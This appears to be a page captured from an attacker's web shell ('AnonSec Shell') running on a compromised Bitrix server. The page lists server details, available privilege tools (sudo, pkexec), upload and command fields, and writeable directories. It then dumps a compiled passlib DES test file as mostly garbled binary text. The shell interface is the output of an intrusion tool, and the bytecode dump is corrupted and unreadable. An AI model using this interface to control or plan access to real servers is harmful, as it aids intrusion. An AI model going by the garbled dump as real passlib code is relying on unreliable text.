AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.222.20.3
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/passlib/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/passlib/tests/test_crypto_des.pyc
�
�
5Xc@�sfdZddlmZmZddlmZddlmZddlm	Z	de	fd��YZ
dS(	s1passlib.tests -- unittests for passlib.crypto.desi����(twith_statementtdivision(tpartial(tgetrandbytes(tTestCasetDesTestc$B�s�eZdZdWdXdYdZd[d\d]d^d_d`dadbdcdddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxg"ZdR�ZdS�ZdT�ZdU�ZdV�ZRS(yspasslib.crypto.desil�#b�72el����IX�N>�YsI0Il{U
t�9s,	Il3E<�f I�ͫ�gE#I-S�r��fl�rq5��Rl2�laj�vl�<�tCe�iIWnJE�|IBgw9�֡I��&�
[iIn7��a�1I�W�=�L�\Iq�K5�8zI�&J>�Irq�8�Hl�YhGmu4I�1&LgI8I
D�-XKEQI*��n�xqI���C��I�WY0D�Bl�@?m�y
I��4�p�I:�Q^�l[X��+5I浏Fu�pI�aGw��VI	�!��I�s�8�)CIjH�)�%vlz+�o�,;SI*�Ep�I(7I��;l^9*�~
I/;���hI�`�5h_�&I���H�<Q\IFu��k�7I2R'O@^MIw��?��*
I^F�
&I�\�unklZW�;�@�xIva�d#@XIb`	��KlVn.�6�EI�)FXI�b�n9
HlVUE�
I�%�y�>yII�<�i�@uCIV�ϯ�oI�s�^�OI�Rw�C-I��|���"/I�)�Lm]�II*��wU�IJ�l�,akZI�&�@��I�(�P\�IA.+юL_I�O�XIZ)om(2U0I���4��cIIq��:{aIlF�q�\
l�q�c��l�LSXG�mIQ$�PU5l�[�U7=UUl
=�@�?�.
I�—��+*c	C�s�ddlm}m}m}m}xF|jD];\}}}||�}||�}|j|||@�q,W|jt|d�|jt	||d�|jt	|d	�|jt	|d�|jt	|d
�dS(sexpand_des_key()i����(texpand_des_keytshrink_des_keyt_KDATA_MASKtINT_56_MASKg�?itiiNtt(
tpasslib.crypto.desRRRR	tdes_test_vectorstassertEqualtassertRaisest	TypeErrort
ValueError(	tselfRRRR	tkey1t_tkey2tkey3((sA/usr/lib/python2.7/site-packages/passlib/tests/test_crypto_des.pyttest_01_expand;s"c	C�s�ddlm}m}m}|j�}xKtd�D]=}t|d�}||�}||�}|j||�q5W|jt	|d�|jt
||d�|jt
|d
�|jt
|d�|jt
|d�d	S(sshrink_des_key()i����(RRtINT_64_MASKiig�?iR
i	Nt	t(R
RRRt	getRandomtrangeRRRRR(	RRRRtrngtiRRR((sA/usr/lib/python2.7/site-packages/passlib/tests/test_crypto_des.pyttest_02_shrinkSscC�sDddlm}m}m}|j�}||@|jd|�|@BS(srandomize parity bitsi����(Rt
_KPARITY_MASKRi(R
RR!RRtrandint(RtkeyRR!RR((sA/usr/lib/python2.7/site-packages/passlib/tests/test_crypto_des.pyt_random_parityksc
	C�s�ddlm}m}m}m}x|jD]�\}}}||�}||�}||�}|||�}|j||d||f�||�}	||	|�}|j||d||	|f�x^td�D]P}
||j||���}|||�}|j||d|||f�q�Wq,Wd}|j	t
|d	|�|j	t|d|�|j	t
||d	�|j	t||d�|j	t|||dd�|j	t|||dd�|j	t|||d	dd	�dS(sdes_encrypt_block()i����(tdes_encrypt_blockRt_pack64t	_unpack64skey=%r plaintext=%r:s#key=%r shrink(key)=%r plaintext=%r:is&key=%r rndparity(key)=%r plaintext=%r:R
iiiitsaltiitroundsNRRRi(R
R%RR&R'RRRR$RRR(
RR%RR&R'R#t	plaintexttcorrecttresultRRRtstub((sA/usr/lib/python2.7/site-packages/passlib/tests/test_crypto_des.pyttest_03_encrypt_bytesqs2"c	C�saddlm}x�|jD]�\}}}|||�}|j||d||f�xRtd�D]D}|j|�}|||�}|j||d|||f�qbWqW|jt|dd�|jt|dd�|jt|dd�|jt|dd�|jt|dddd�|jt|dddd
�|jt|ddddd�dS(sdes_encrypt_int_block()i����(tdes_encrypt_int_blockskey=%r plaintext=%r:is&key=%r rndparity(key)=%r plaintext=%r:R
iR(iiR)Ni(	R
R/RRRR$RRR(RR/R#R*R+R,RR((sA/usr/lib/python2.7/site-packages/passlib/tests/test_crypto_des.pyttest_04_encrypt_ints�s"(iil�#b�72e(l����l����IX�N>�Ys(I0Il{U
t�9s,	(IIl3E<�f (I�ͫ�gE#II-S�r��f(II�ͫ�gE#l�rq5��R(iil�#b�72e(l2�laj�vI�ͫ�gE#l�<�tCe�i(IWnJE�|IBgw9�֡I��&�
[i(In7��a�1I�W�=�L�\Iq�K5�8z(I�&J>�Irq�8�Hl�YhGmu4(I�1&LgI8I
D�-XKEQI*��n�xq(I���C��I�WY0D�Bl�@?m�y
(I��4�p�I:�Q^�l[X��+5(I浏Fu�pI�aGw��VI	�!��(I�s�8�)CIjH�)�%vlz+�o�,;S(I*�Ep�I(7I��;l^9*�~
(I/;���hI�`�5h_�&I���H�<Q\(IFu��k�7I2R'O@^MIw��?��*
(I^F�
&I�\�unklZW�;�@�x(Iva�d#@XIb`	��KlVn.�6�E(I�)FXI�b�n9
HlVUE�
(I�%�y�>yII�<�i�@uCIV�ϯ�o(I�s�^�OI�Rw�C-I��|���"/(I�)�Lm]�II*��wU�IJ�l�,akZ(I�&�@��I�(�P\�IA.+юL_(I�O�XIZ)om(2U0I���4��c(II�ͫ�gE#Iq��:{a(II�ͫ�gE#lF�q�\
(l�q�c��I�ͫ�gE#l�LSXG�m(il����IQ$�PU5(l����il�[�U7=UU(I�ͫ�gE#il
=�@�?�.
(l2�laj�vl����I�—��+*(	t__name__t
__module__tdescriptionPrefixRRR R$R.R0(((sA/usr/lib/python2.7/site-packages/passlib/tests/test_crypto_des.pyRsP					.N(t__doc__t
__future__RRt	functoolsRt
passlib.utilsRtpasslib.tests.utilsRR(((sA/usr/lib/python2.7/site-packages/passlib/tests/test_crypto_des.pyt<module>s


Anon7 - 2022
AnonSec Team